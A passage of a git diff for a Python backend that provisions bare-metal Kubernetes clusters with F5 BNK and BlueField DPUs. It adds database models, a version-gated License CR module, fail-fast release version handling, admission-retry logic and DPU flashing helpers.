unique=True, nullable=False, index=True) + # Unique per PROJECT, not globally -- see __table_args__ and v2_153 (#113). + # A global unique let project A's "prod" block project B's "prod" and leak + # A's cluster name to B via the 409. + name = Column(String(255), nullable=False, index=True) context = Column(String(255), nullable=False) # kubectl context name api_server = Column(String(500)) version = Column(String(50)) @@ -56,6 +71,10 @@ class KubernetesCluster(Base): ssh_host_override = Column(String(255), nullable=True) # Legacy: kept for backward compatibility during migration ssh_credential_template_id = Column(Integer, ForeignKey("cloud_credential_templates.id"), nullable=True) + # ADR-478 P1b: BNK release this cluster was built with (stamped at Phase-2 link seam). + deployable_release_id = Column(Integer, ForeignKey("bnk_deployable_release.id", ondelete="SET NULL"), nullable=True) + # ADR-494 Phase B: BNK release line currently running on this cluster (set by discovery/scan). + running_release_id = Column(Integer, ForeignKey("bnk_releases.id", ondelete="SET NULL"), nullable=True) created_at = Column(DateTime(timezone=True), server_default=func.now()) updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) @@ -66,6 +85,99 @@ class KubernetesCluster(Base): ssh_credential_template = relationship("CloudCredentialTemplate", foreign_keys=[ssh_credential_template_id]) gateways = relationship("K8sGateway", back_populates="cluster", cascade="all, delete-orphan") firewall_policies = relationship("FirewallPolicy", back_populates="cluster", cascade="all, delete-orphan") + bnk_config = relationship( + "BnkClusterConfig", back_populates="cluster", uselist=False, cascade="all, delete-orphan" + ) + + __table_args__ = ( + # Name is unique within a project, not across the instance (#113). NULL + # project_id rows (hand-registered / global clusters) are distinct from + # each other under the SQL standard's NULL semantics, which is intended: + # a cluster with no project has no tenant to collide within. + UniqueConstraint("project_id", "name", name="uq_kubernetes_clusters_project_name"), + ) + + +@event.listens_for(KubernetesCluster, "before_delete") +def _release_cluster_tmfifo_ips(mapper, connection, target: "KubernetesCluster") -> None: + """Clear host_tmfifo_ip and dpu_tmfifo_ip on all DPUs before cluster deletion. + + The DB ondelete=SET NULL cascade clears kubernetes_cluster_id at the database + level; these plain columns have no cascade and must be cleared explicitly so + a subsequent re-flash does not bake a stale /30 into /etc/netplan. + + Also clears bare_metal_hosts.is_control_plane, which has no cascade and would + otherwise leave a former CP host with kubernetes_cluster_id=NULL but + is_control_plane=True (same orphan class as the DPU tmfifo columns above). + + Registered on the mapper so every db.delete(cluster) path fires this — + ClusterManagementService, cluster_auto_registration_service, eks_service, and + roks_service — without per-caller wiring (ADR-424 finding B). + + Uses a core-level SQL UPDATE via `connection` (not the ORM session) to avoid + the re-entrancy issue: mapper events fire inside the flush cycle, and calling + session.add() / session.flush() there produces "attribute history events + accumulated ... will not result in database updates" warnings and data loss. + The core connection is on the same transaction as the session flush and is + committed / rolled back together with it. + + Note: deleting a Project triggers this listener via the ORM-level cascade — + models/project.py declares k8s_clusters with cascade="all, delete-orphan" + and no passive_deletes, so SQLAlchemy loads each cluster and issues a + per-row ORM delete, which fires this before_delete event. The outcome is + safe (tmfifo IPs are cleared before the cluster row is removed). + + Warning: this listener fires only for ORM session.delete() calls. A bulk + db.query(KubernetesCluster).filter(...).delete() bypasses it entirely. + Since delete_cluster no longer performs the tmfifo release itself, this + listener is now the ONLY thing clearing tmfifo IPs and is_control_plane on + cluster deletion — a bulk-delete caller would silently leave stale IPAM + state. No production bulk-delete path exists today; the only known caller + is tests/component/test_snapshot_service.py:517. + """ + from sqlalchemy import text + + # Raw SQL bypasses the ORM identity map — safe only if member Dpu rows are + # not loaded into this session before cluster deletion; a future caller that + # loads them first could re-persist a stale in-memory tmfifo IP on flush. + connection.execute( + text( + "UPDATE dpus " + "SET kubernetes_cluster_id = NULL, host_tmfifo_ip = NULL, dpu_tmfifo_ip = NULL " + "WHERE kubernetes_cluster_id = :cluster_id" + ), + {"cluster_id": target.id}, + ) + connection.execute( + text( + "UPDATE bare_metal_hosts " + "SET is_control_plane = false " + "WHERE kubernetes_cluster_id = :cluster_id" + ), + {"cluster_id": target.id}, + ) + + +class BnkClusterConfig(Base): + """BNK-specific configuration for a bare-metal Kubernetes cluster.""" + __tablename__ = "bnk_cluster_configs" + + id = Column(Integer, primary_key=True, index=True) + cluster_id = Column( + Integer, ForeignKey("kubernetes_clusters.id", ondelete="CASCADE"), nullable=False, unique=True, index=True + ) + tmfifo_pool_cidr = Column(String(64), nullable=False, default="192.168.100.0/22") + join_transport = Column(String(32), nullable=False, default="rshim") + control_plane_host_id = Column( + Integer, ForeignKey("bare_metal_hosts.id", ondelete="SET NULL"), nullable=True + ) + + created_at = Column(DateTime(timezone=True), server_default=func.now()) + updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) + + # Relationships + cluster = relationship("KubernetesCluster", back_populates="bnk_config") + control_plane_host = relationship("BareMetalHost", foreign_keys=[control_plane_host_id]) class K8sGateway(Base): diff --git a/backend/models/release_source.py b/backend/models/release_source.py new file mode 100644 index 00000000..93f469ec --- /dev/null +++ b/backend/models/release_source.py @@ -0,0 +1,47 @@ +"""ReleaseSource model — first-class BNK release source entities (ADR-494).""" + +from sqlalchemy import Boolean, Column, DateTime, Index, Integer, String, Text +from sqlalchemy.sql import func + +from database import Base + + +class ReleaseSource(Base): + """ + A configured origin the BNK release Catalog syncs releases from. + + Modelled on the shape of ModuleSource but without git/OAuth repo-auth + machinery. kind = oci | mirror | manual. credential_encrypted holds an + optional pull-secret/token, stored via core.encryption.encrypt_value. + """ + + __tablename__ = "release_source" + + id = Column(Integer, primary_key=True, index=True) + name = Column(String(255), nullable=False, unique=True, index=True) + kind = Column(String(30), nullable=False) # stores ReleaseSourceKind value + + url = Column(String(500), nullable=True) # manual kind may have none + + # Single optional pull-secret/token — encrypted at rest; never returned in responses. + credential_encrypted = Column(Text, nullable=True) + + is_active = Column(Boolean, nullable=False, default=True) + auto_sync = Column(Boolean, nullable=False, default=False) + sync_interval_hours = Column(Integer, nullable=True) + + last_synced_at = Column(DateTime(timezone=True), nullable=True) + sync_status = Column(String(50), nullable=False, default="idle") # idle|syncing|success|error + sync_error = Column(Text, nullable=True) + + release_count = Column(Integer, nullable=False, default=0) + description = Column(Text, nullable=True) + + created_at = Column(DateTime(timezone=True), server_default=func.now()) + updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) + + __table_args__ = ( + Index("idx_release_source_kind", "kind"), + Index("idx_release_source_active", "is_active"), + Index("idx_release_source_sync_status", "sync_status"), + ) diff --git a/backend/models/usecase_artifact.py b/backend/models/usecase_artifact.py new file mode 100644 index 00000000..66dd967a --- /dev/null +++ b/backend/models/usecase_artifact.py @@ -0,0 +1,98 @@ +"""Use-Case Artifact models (D-034 Phase 0 tracer). + +A UseCaseArtifact is a named, versioned, portable bundle of BNK config/policy +CRs — modelled on `bf_conf_template` (named/versioned) and `BlueprintRelease` +(immutable versions; a content change is always a new version, never an +in-place edit). + + - UseCaseArtifact — the mutable container: rename/describe only. + - UseCaseArtifactVersion — immutable once created. `cr_templates` holds the + parameterized CRs (`${param}` tokens substituted for lifted values); + `param_schema` describes each lifted param. `content_hash` covers the + templated structure + param key/type/path set, NOT concrete values, so + capture is address-independent (see docs/adr/D-034). + - UseCaseApplication — the binding: "cluster X runs artifact-version Y with + these injected values", so drift always compares against the exact + desired-state that was applied. +""" + +from sqlalchemy import JSON, Column, DateTime, ForeignKey, Index, Integer, String, Text, UniqueConstraint +from sqlalchemy.orm import relationship +from sqlalchemy.sql import func + +from database import Base + + +class UseCaseArtifact(Base): + """Mutable container for a named use-case artifact. Content lives on versions.""" + + __tablename__ = "usecase_artifacts" + + id = Column(Integer, primary_key=True, index=True) + name = Column(String(255), nullable=False, unique=True) + description = Column(Text, nullable=True) + created_by = Column(String(255), nullable=True) + + created_at = Column(DateTime(timezone=True), server_default=func.now()) + updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) + + versions = relationship( + "UseCaseArtifactVersion", back_populates="artifact", cascade="all, delete-orphan" + ) + + +class UseCaseArtifactVersion(Base): + """Immutable once created — a content change always creates a new version.""" + + __tablename__ = "usecase_artifact_versions" + + id = Column(Integer, primary_key=True, index=True) + artifact_id = Column(Integer, ForeignKey("usecase_artifacts.id", ondelete="CASCADE"), nullable=False) + version = Column(String(50), nullable=False) + matching_bnk_version = Column(String(64), nullable=True) + + # Parameterized CRs (${param} tokens substituted for lifted values) + cr_templates = Column(JSON, nullable=False) + # List of param descriptors: {key, type, kind, is_list, required, source_paths} + param_schema = Column(JSON, nullable=False) + + source = Column(String(50), nullable=False) # "captured_from_cluster" | "authored" + source_cluster_id = Column( + Integer, ForeignKey("kubernetes_clusters.id", ondelete="SET NULL"), nullable=True + ) + # Hash of templated structure + param key/type/path set — excludes concrete values. + content_hash = Column(String(64), nullable=False, index=True) + + created_by = Column(String(255), nullable=True) + created_at = Column(DateTime(timezone=True), server_default=func.now()) + + artifact = relationship("UseCaseArtifact", back_populates="versions") + + __table_args__ = ( + UniqueConstraint("artifact_id", "version", name="uq_usecase_artifact_version"), + Index("idx_usecase_artifact_version_artifact", "artifact_id"), + Index("idx_usecase_artifact_version_content_hash", "content_hash"), + ) + + +class UseCaseApplication(Base): + """Binding: cluster X runs artifact-version Y with these injected param values.""" + + __tablename__ = "usecase_applications" + + id = Column(Integer, primary_key=True, index=True) + artifact_version_id = Column( + Integer, ForeignKey("usecase_artifact_versions.id", ondelete="CASCADE"), nullable=False + ) + cluster_id = Column(Integer, ForeignKey("kubernetes_clusters.id", ondelete="CASCADE"), nullable=False) + param_values = Column(JSON, nullable=False) + + applied_by = Column(String(255), nullable=True) + applied_at = Column(DateTime(timezone=True), server_default=func.now()) + + version = relationship("UseCaseArtifactVersion") + + __table_args__ = ( + Index("idx_usecase_application_version", "artifact_version_id"), + Index("idx_usecase_application_cluster", "cluster_id"), + ) diff --git a/backend/modules/__init__.py b/backend/modules/__init__.py index 639a0f7d..a0df08ca 100644 --- a/backend/modules/__init__.py +++ b/backend/modules/__init__.py @@ -36,6 +36,7 @@ def _register_all(): from modules.bare_metal.bnk_cneinstance import BnkCneInstanceSSHModule from modules.bare_metal.bnk_flo import BnkFloSSHModule from modules.bare_metal.bnk_gatewayclass import BnkGatewayClassSSHModule + from modules.bare_metal.bnk_license import BnkLicenseSSHModule from modules.bare_metal.bnk_network_setup import NetworkSetupSSHModule from modules.bare_metal.bnk_prerequisites import BnkPrerequisitesSSHModule from modules.bare_metal.bnk_vlans import BnkVlansSSHModule @@ -82,6 +83,7 @@ def _register_all(): BnkCertIssuerSSHModule, BnkFloSSHModule, BnkCneInstanceSSHModule, + BnkLicenseSSHModule, BnkVlansSSHModule, BnkGatewayClassSSHModule, ] diff --git a/backend/modules/bare_metal/bnk_cert_manager.py b/backend/modules/bare_metal/bnk_cert_manager.py index 18febb6e..ec5cff25 100644 --- a/backend/modules/bare_metal/bnk_cert_manager.py +++ b/backend/modules/bare_metal/bnk_cert_manager.py @@ -1,10 +1,11 @@ """ SSH port of catalog module 20 — k8s/cert-manager (bare-metal/cert-manager). -Installs cert-manager via Helm. Per the CONCRETE forge catalog (not the ADR's -assumption), the chart is **Jetstack** ``oci://quay.io/jetstack/charts/cert-manager`` -v1.16.1 — that is the parity target. Maps poc-deployer install-host-k8s.sh -(``helm install cert-manager``). +Installs cert-manager via Helm. The chart is **Jetstack** +``oci://quay.io/jetstack/charts/cert-manager``; the version is catalog-driven via +``cert_manager_version`` from the assigned BnkDeployableRelease. No hardcoded default — +a missing version raises at validate_inputs() (fail-fast). Maps poc-deployer +install-host-k8s.sh (``helm install cert-manager``). Parity source: catalog_snapshot/k8s/cert-manager/{bnkforge.pack.json,values.yaml}. """ @@ -30,7 +31,7 @@ class CertManagerSSHModule(BnkSSHModule): # Helm config — matches catalog k8s/cert-manager entrypoints exactly. chart_ref = "oci://quay.io/jetstack/charts/cert-manager" release_name = "cert-manager" - chart_version = "v1.16.1" + chart_version = "" chart_version_var = "cert_manager_version" create_namespace = True namespace_var = "namespace" @@ -41,7 +42,7 @@ class CertManagerSSHModule(BnkSSHModule): "bare_metal_host_id": InputSpec(name="bare_metal_host_id", source="host", required=True), "namespace": InputSpec(name="namespace", source="profile", default="cert-manager"), "release_name": InputSpec(name="release_name", source="profile", default="cert-manager"), - "cert_manager_version": InputSpec(name="cert_manager_version", source="profile", default="v1.16.1"), + "cert_manager_version": InputSpec(name="cert_manager_version", source="profile", required=True), "controller_replicas": InputSpec(name="controller_replicas", type="number", source="profile", default=1), "webhook_replicas": InputSpec(name="webhook_replicas", type="number", source="profile", default=1), "cainjector_replicas": InputSpec(name="cainjector_replicas", type="number", source="profile", default=1), diff --git a/backend/modules/bare_metal/bnk_cneinstance.py b/backend/modules/bare_metal/bnk_cneinstance.py index 3090c24b..e5a10a3a 100644 --- a/backend/modules/bare_metal/bnk_cneinstance.py +++ b/backend/modules/bare_metal/bnk_cneinstance.py @@ -68,6 +68,7 @@ class BnkCneInstanceSSHModule(BnkSSHModule): "external_pci_bus_id": InputSpec(name="external_pci_bus_id", source="module", default="0000:00:07.0"), "internal_pci_bus_id": InputSpec(name="internal_pci_bus_id", source="module", default="0000:00:08.0"), "cloud_provider": InputSpec(name="cloud_provider", source="auto", default=""), + "bnk_cr_kind": InputSpec(name="bnk_cr_kind", source="profile", required=True), } outputs = { @@ -168,10 +169,11 @@ def render_manifests(self, v: dict[str, Any]) -> list[dict[str, Any]]: "tmm": tmm, } + cr_kind = str(v.get("bnk_cr_kind") or "CNEInstance") return [ { "apiVersion": "k8s.f5.com/v1", - "kind": "CNEInstance", + "kind": cr_kind, "metadata": { "name": name, "namespace": ns, diff --git a/backend/modules/bare_metal/bnk_flo.py b/backend/modules/bare_metal/bnk_flo.py index 3ebf8f76..35ccfeb5 100644 --- a/backend/modules/bare_metal/bnk_flo.py +++ b/backend/modules/bare_metal/bnk_flo.py @@ -74,6 +74,9 @@ def render_helm_values(self, v: dict[str, Any]) -> dict[str, Any]: "imagePullSecrets": [{"name": far}], "serviceAccount": {"create": True, "name": "flo-controller"}, "license": { + # NOTE: FLO helm license.* values are the 2.2 licensing mechanism. + # In 2.3.1 CWC requires a separate License CR (bare-metal/bnk-license, + # ADR-478) — these helm values do NOT create it in 2.3.1. "operationMode": str(v.get("license_mode", "connected")), "jwt": str(v.get("jwt_token", "")), **FLO_LICENSE_STATIC, diff --git a/backend/modules/bare_metal/bnk_license.py b/backend/modules/bare_metal/bnk_license.py new file mode 100644 index 00000000..78db8d59 --- /dev/null +++ b/backend/modules/bare_metal/bnk_license.py @@ -0,0 +1,149 @@ +""" +bare-metal/bnk-license — SSH module that creates the BNK License CR (ADR-478). + +In BNK 2.3.1, CWC (spk-cwc) is licensed by a ``License`` CR +(``apiVersion: k8s.f5net.com/v1``, ``kind: License``). Without it, CWC logs +"cpcl-config-secret not found … waiting for License CR", TMM is placed in +STANDBY, and F5SPKVlans never reach ``Programmed``. Proved live on dpu-server-2 +2026-07-24 — hand-applying this CR immediately licensed the cluster, TMM went +ACTIVE, and both F5SPKVlans reached Programmed=True. + +This module is RELEASE-GATED on ``manifest_version``: + - 2.3+ → applies the License CR, waits for LicenseActive condition. + - <2.3 → CLEAN NO-OP. FLO helm ``license.*`` values carry licensing in 2.2, + and the ``licenses.k8s.f5net.com`` CRD does not exist in 2.2 — so + the CRD gate would block forever on a 2.2 deploy. + +``manifest_version`` flows from ``bare-metal/bnk-prerequisites`` via auto-wiring +(e.g. "2.3.1-3.2598.3-0.0.304" or "2.2.1-3.2226.0-0.0.511"). Empty version +→ safe no-op. +""" + +from __future__ import annotations + +import time +from typing import Any + +from modules.bare_metal.bnk_ssh_base import BnkSSHModule +from modules.base import InputSpec, OutputSpec + + +def _parse_major_minor(manifest_version: str) -> tuple[int, int]: + """Parse (major, minor) from a BNK manifest version string. + + "2.3.1-3.2598.3-0.0.304" → (2, 3) + "2.2.1-3.2226.0-0.0.511" → (2, 2) + Returns (0, 0) on any parse failure or empty input. + """ + if not manifest_version: + return (0, 0) + first_segment = str(manifest_version).split("-")[0] + parts = first_segment.split(".") + try: + major = int(parts[0]) if parts else 0 + minor = int(parts[1]) if len(parts) > 1 else 0 + return (major, minor) + except (ValueError, IndexError): + return (0, 0) + + +class BnkLicenseSSHModule(BnkSSHModule): + name = "BNK License CR [SSH]" + path = "bare-metal/bnk-license" + description = "Create License CR for CWC (BNK 2.3+); no-op for 2.2 — FLO helm path (ADR-478)" + version = "1.0.0" + estimated_duration = 60 + timeout = 600 + + # CWC (f5-spk-cwc) is created by FLO reconciling the CNEInstance; the + # licenses.k8s.f5net.com CRD and CWC deployment only exist after that. + dependencies = ["bare-metal/bnk-cneinstance"] + + namespace_var = "namespace" + default_namespace = "f5-operator" + + inputs = { + "bare_metal_host_id": InputSpec(name="bare_metal_host_id", source="host", required=True), + "jwt_token": InputSpec(name="jwt_token", source="user", required=True, sensitive=True), + "license_mode": InputSpec(name="license_mode", source="profile", default="connected"), + "namespace": InputSpec(name="namespace", source="profile", default="f5-operator"), + "license_cr_name": InputSpec(name="license_cr_name", source="profile", default="bnk-license"), + # manifest_version is auto-wired from bare-metal/bnk-prerequisites outputs; + # not required because this module falls back to a safe no-op when unset. + "manifest_version": InputSpec( + name="manifest_version", source="module", required=False, default="", + from_module="bare-metal/bnk-prerequisites", from_output="manifest_version", + ), + } + + outputs = { + "license_active": OutputSpec(resource_kind="", resource_name="", static_value=True), + } + + def render_manifests(self, v: dict[str, Any]) -> list[dict[str, Any]]: + ns = self.resolve_namespace(v) + name = str(v.get("license_cr_name", "bnk-license")) + jwt = str(v.get("jwt_token", "")) + mode = str(v.get("license_mode", "connected")) + # Teem URLs match the static values in _flo_license_static.py + # (teemCertUrl uses product.apis; the two others use product-s.apis). + return [ + { + "apiVersion": "k8s.f5net.com/v1", + "kind": "License", + "metadata": {"name": name, "namespace": ns}, + "spec": { + "jwt": jwt, + "operationMode": mode, + "teemCertUrl": "https://product.apis.f5.com/ee/v1", + "teemEntitlementUrl": "https://product-s.apis.f5.com/ee/v1", + "teemInitialConfigUrl": "https://product-s.apis.f5.com/ee/v1", + }, + } + ] + + def get_required_crds(self, v: dict[str, Any]) -> list[str]: + return ["licenses.k8s.f5net.com"] + + def get_required_deployments(self, v: dict[str, Any]) -> list[dict[str, str]]: + return [{"name": "f5-spk-cwc", "namespace": self.resolve_namespace(v)}] + + def get_readiness_waits(self, v: dict[str, Any]) -> list[dict[str, Any]]: + ns = self.resolve_namespace(v) + name = str(v.get("license_cr_name", "bnk-license")) + return [ + { + "kind": "licenses.k8s.f5net.com", + "name": name, + "namespace": ns, + "condition": "condition=LicenseActive", + "timeout": 600, + } + ] + + def collect_outputs(self, session: Any, v: dict[str, Any]) -> dict[str, Any]: + return {"license_active": True} + + def execute(self, session: Any, variables: dict[str, Any], on_output: Any) -> dict[str, Any]: + t0 = time.monotonic() + tag = "[bnk-license]" + + mv = str(variables.get("manifest_version") or "") + major, minor = _parse_major_minor(mv) + + if (major, minor) < (2, 3): + # Pre-2.3: licenses.k8s.f5net.com CRD does not exist and CWC is + # licensed via FLO helm chart values. Skip ALL gates — letting the + # CRD gate run would block forever on a 2.2 deploy. + on_output( + f"{tag} manifest_version={mv!r} is pre-2.3 (parsed {major}.{minor}); " + "License CR not required — CWC licensing is via FLO helm chart. Skipping." + ) + return { + "license_active": True, + "execution_duration_seconds": round(time.monotonic() - t0, 1), + } + + # 2.3+ path: apply License CR via base class + # (CRD gate + CWC deployment gate + manifest apply + LicenseActive wait) + return super().execute(session, variables, on_output) diff --git a/backend/modules/bare_metal/bnk_prerequisites.py b/backend/modules/bare_metal/bnk_prerequisites.py index 317b057b..b176297b 100644 --- a/backend/modules/bare_metal/bnk_prerequisites.py +++ b/backend/modules/bare_metal/bnk_prerequisites.py @@ -9,12 +9,10 @@ Version resolution: like the catalog tofu module, this downloads the BNK manifest from repo.f5.com (``helm pull``) and parses component versions, producing ``flo_version`` / ``manifest_version`` / ``component_versions`` for downstream -modules. If ``flo_version`` is already supplied (e.g. from a BnkVersionProfile via -the transforms), the download is skipped. This was added after live e2e on -dpu-server-2 surfaced that environments without a version profile otherwise leave -flo_version unset (FLO can't install without its chart version). Maps poc-deployer -download-manifest.sh + parse-versions.sh. cert_manager stays Jetstack v1.16.1 (the -forge catalog source), NOT the manifest's f5-cert-manager. +modules. If ``flo_version`` is already supplied (e.g. from a BnkDeployableRelease +via the transforms), the download is skipped. If neither ``flo_version`` nor +``bnk_manifest_version`` is set, execution fails fast — a catalog release must be +assigned to the host. Maps poc-deployer download-manifest.sh + parse-versions.sh. dockerconfigjson construction mirrors the tofu module exactly: ``auth = base64("_json_key_base64:" + cne_pull_secret)`` (Format A), with Format B @@ -39,7 +37,6 @@ # Manifest chart pulled from repo.f5.com to resolve component versions. _MANIFEST_CHART = "oci://repo.f5.com/release/f5-bigip-k8s-manifest" -_DEFAULT_MANIFEST_VERSION = "2.2.1-3.2226.0-0.0.511" def parse_component_versions(text: str) -> dict[str, str]: @@ -113,7 +110,7 @@ class BnkPrerequisitesSSHModule(BnkSSHModule): "gateway_namespace": InputSpec(name="gateway_namespace", source="profile", default="bnk-gw"), "instance_namespace": InputSpec(name="instance_namespace", source="profile", required=False, default=""), "bnk_manifest_version": InputSpec( - name="bnk_manifest_version", source="profile", required=False, default=_DEFAULT_MANIFEST_VERSION + name="bnk_manifest_version", source="profile", required=False, default=None ), "flo_version": InputSpec(name="flo_version", source="profile", required=False, default=""), } @@ -173,9 +170,14 @@ def execute(self, session: Any, variables: dict[str, Any], on_output: Any) -> di # download the BNK manifest from repo.f5.com and parse them (the catalog # k8s/bnk-prerequisites behaviour). flo_version = str(variables.get("flo_version") or "") - manifest_version = str(variables.get("bnk_manifest_version") or _DEFAULT_MANIFEST_VERSION) + manifest_version = str(variables.get("bnk_manifest_version") or "") component_versions: dict[str, str] = {} if not flo_version: + if not manifest_version: + raise RuntimeError( + f"{tag} Neither flo_version nor bnk_manifest_version is set — cannot resolve " + "component versions. Assign a BnkDeployableRelease to this host." + ) component_versions = self._download_versions(session, variables, manifest_version, on_output) flo_version = component_versions.get("charts/f5-lifecycle-operator", "") if not flo_version: @@ -237,7 +239,7 @@ def collect_outputs(self, session: Any, v: dict[str, Any]) -> dict[str, Any]: "gateway_namespace": v.get("gateway_namespace", "bnk-gw"), "far_secret_name": "far-secret", "flo_version": v.get("flo_version", ""), - "manifest_version": v.get("bnk_manifest_version", _DEFAULT_MANIFEST_VERSION), + "manifest_version": v.get("bnk_manifest_version", ""), "prerequisites_ready": True, } diff --git a/backend/modules/bare_metal/bnk_ssh_base.py b/backend/modules/bare_metal/bnk_ssh_base.py index 7da881da..7669cd12 100644 --- a/backend/modules/bare_metal/bnk_ssh_base.py +++ b/backend/modules/bare_metal/bnk_ssh_base.py @@ -252,12 +252,15 @@ def _wait_for_required_deployments( f"Deployment {name} not Available within timeout: {r.stderr[:300]}" ) - # Transient admission-webhook transport failure: the API server could not - # *reach* the webhook backend (Pod still cold-starting), distinct from an - # admission *denial* ("admission webhook ... denied the request"). Safe to - # retry since ``kubectl apply`` is idempotent. Belt to the deployment gate's - # braces — closes the sub-second gap between Pod-Ready and endpoint routing. + # Transient admission errors safe to retry (``kubectl apply`` is idempotent): + # WEBHOOK: API server could not *reach* the webhook backend (Pod cold-starting), + # distinct from an admission *denial*. Belt to the deployment gate's braces — + # closes the sub-second gap between Pod-Ready and endpoint routing. + # QUOTA: ResourceQuota controller has not yet initialized .status.used for a + # custom resource type (e.g. f5-single-license-quota in BNK 2.3.1). Clears + # within seconds once the quota controller reconciles. WEBHOOK_RETRY_MARKER = "failed calling webhook" + QUOTA_STATUS_RETRY_MARKER = "status unknown for quota" WEBHOOK_RETRY_ATTEMPTS = 4 WEBHOOK_RETRY_SLEEP = 15 @@ -305,10 +308,12 @@ def _apply_manifests( """Apply manifests via ``sudo kubectl apply -f ``. Manifests are expected to be self-contained (namespaced resources carry - their own metadata.namespace), matching the catalog render. Retries on a - transient admission-webhook transport error (see ``WEBHOOK_RETRY_MARKER``). - The manifest is written to a private temp file first — see - ``_write_remote_tmp`` for why we don't pipe a heredoc into ``sudo``. + their own metadata.namespace), matching the catalog render. Retries on + transient admission errors: webhook transport failure + (``WEBHOOK_RETRY_MARKER``) and ResourceQuota status not yet initialized + (``QUOTA_STATUS_RETRY_MARKER``). The manifest is written to a private + temp file first — see ``_write_remote_tmp`` for why we don't pipe a + heredoc into ``sudo``. """ docs = manifests_to_yaml(manifests) tag = f"[{self.path.split('/')[-1]}]" @@ -320,9 +325,12 @@ def _apply_manifests( r = session.execute(cmd, timeout=self.timeout) if r.exit_code == 0: break - if self.WEBHOOK_RETRY_MARKER in r.stderr and attempt < self.WEBHOOK_RETRY_ATTEMPTS: + if ( + any(m in r.stderr for m in (self.WEBHOOK_RETRY_MARKER, self.QUOTA_STATUS_RETRY_MARKER)) + and attempt < self.WEBHOOK_RETRY_ATTEMPTS + ): on_output( - f"{tag} admission webhook not reachable yet " + f"{tag} transient admission error (webhook/quota not ready yet) " f"(attempt {attempt}/{self.WEBHOOK_RETRY_ATTEMPTS}); " f"retrying in {self.WEBHOOK_RETRY_SLEEP}s..." ) diff --git a/backend/modules/bare_metal/bnk_vlans.py b/backend/modules/bare_metal/bnk_vlans.py index 0359d6af..dd26945e 100644 --- a/backend/modules/bare_metal/bnk_vlans.py +++ b/backend/modules/bare_metal/bnk_vlans.py @@ -44,7 +44,7 @@ class BnkVlansSSHModule(BnkSSHModule): estimated_duration = 60 timeout = 300 - dependencies = ["bare-metal/bnk-cneinstance"] + dependencies = ["bare-metal/bnk-cneinstance", "bare-metal/bnk-license"] namespace_var = "namespace" default_namespace = "f5-operator" diff --git a/backend/modules/bare_metal/flash_dpu.py b/backend/modules/bare_metal/flash_dpu.py index 4841ef58..a6ce8acc 100644 --- a/backend/modules/bare_metal/flash_dpu.py +++ b/backend/modules/bare_metal/flash_dpu.py @@ -22,10 +22,97 @@ from typing import Any from modules.base import InputSpec, OutputSpec, SSHModule +from services.bf_conf_renderer import _rshim_index DPU_IP = "192.168.100.2" HOST_RSHIM_IP = "192.168.100.1" +# Default tmfifo MAC base — matches the proven poc-deployer scheme. +# The final octet is appended as the rshim index, so: +# rshim0 → 00:1a:ca:ff:ff:10, rshim1 → 00:1a:ca:ff:ff:11 +# This deliberately avoids the BlueField factory default (:01/:02) so +# dual-DPU hosts never share a tmfifo MAC. +_DEFAULT_RSHIM_MAC_BASE = "00:1a:ca:ff:ff:1" + + +def _compute_rshim_mac(rshim_device: str, base: str | None = None) -> str: + """Return the unique tmfifo MAC for *rshim_device*. + + The base defaults to _DEFAULT_RSHIM_MAC_BASE. An operator may supply a + host-level override (net_rshim_mac_base on BareMetalHost) so that all DPUs + on a given host enumerate from a custom base. + + Constraint (matching poc-deployer `00:1a:ca:ff:ff:1${i}`): the rshim index + is appended as a single digit after the base, so the final octet is "1N" + (e.g. "10", "11"). Indexes >= 10 would produce a two-digit suffix and + malform the MAC octet — hosts with 10+ rshim devices are not a supported + topology and must not silently emit an invalid MAC. + """ + _base = base or _DEFAULT_RSHIM_MAC_BASE + idx = _rshim_index(rshim_device) + if idx >= 10: + raise RuntimeError( + f"rshim index {idx} (from {rshim_device!r}) is >= 10 — the default MAC scheme " + f"'{_DEFAULT_RSHIM_MAC_BASE}' would produce a malformed octet. " + "Hosts with 10 or more rshim devices are not supported by this enumeration scheme. " + "Set a custom net_rshim_mac_base that accommodates a two-digit suffix, or contact support." + ) + return f"{_base}{idx}" + + +def _select_rshim_by_pci( + session: Any, + rshim_devices: list[str], + pci_address: str, + on_output: Any, +) -> str: + """Select the rshim device whose DEV_NAME in /dev/rshimN/misc matches pci_address. + + Reads ``/dev/rshimN/misc`` for each candidate and checks whether pci_address + appears as a substring of the ``DEV_NAME`` line. This mirrors the live-verified + mapping (e.g. ``/dev/rshim0/misc`` → ``DEV_NAME pcie-0000:0d:00.2``). + + Raises RuntimeError if no device matches (caller must NOT fall back to rshim0, + as that would silently flash the wrong DPU). + """ + for rshim in rshim_devices: + r = session.execute(f"sudo cat /dev/{rshim}/misc 2>/dev/null", timeout=5) + if pci_address in r.stdout: + on_output(f"[flash-dpu] PCI {pci_address!r} matched {rshim} via DEV_NAME") + return rshim + raise RuntimeError( + f"No rshim device matches deploy_dpu_pci_address={pci_address!r}. " + f"Checked: {rshim_devices}. " + "Verify the PCI address in host settings matches the DEV_NAME in /dev/rshimN/misc " + "(e.g. 'sudo cat /dev/rshim0/misc'), then re-save or re-discover." + ) + + +def _validate_bfb_on_host(session: Any, path: str, bfb_url: str) -> int: + """Check that a remote file looks like a real BFB image. + + Returns the file size in bytes. Raises RuntimeError if the file is + too small or appears to be an HTML/error page (e.g. from a 404 redirect). + """ + size_r = session.execute( + f"stat -c %s '{path}' 2>/dev/null || stat -f %z '{path}' 2>/dev/null", + timeout=10, + ) + file_size = ( + int(size_r.stdout.strip()) + if size_r.exit_code == 0 and size_r.stdout.strip().isdigit() + else 0 + ) + if file_size < 1_000_000: # less than 1 MB is definitely not a real BFB + head_r = session.execute(f"head -c 200 '{path}'", timeout=10) + raise RuntimeError( + f"BFB file is only {file_size} bytes (expected ~1-3 GB). " + f"The URL may be wrong or return a redirect/error page. " + f"URL: {bfb_url}\n" + f"File content preview: {head_r.stdout.strip()[:200]}" + ) + return file_size + class FlashDPUModule(SSHModule): name = "Flash DPU (BFB)" @@ -109,10 +196,13 @@ class FlashDPUModule(SSHModule): resource_name="", static_value=True, ), + # NOT static: the reported address must be the one baked into bf.conf. + # A static DPU_IP here sent wait/validate/setup-dpu-networking to + # 192.168.100.2 while the DPU came up on its allocated IPAM /30 (#118). "dpu_ip": OutputSpec( resource_kind="", resource_name="", - static_value=DPU_IP, + static_value=None, ), "rshim_source": OutputSpec( resource_kind="", @@ -516,6 +606,100 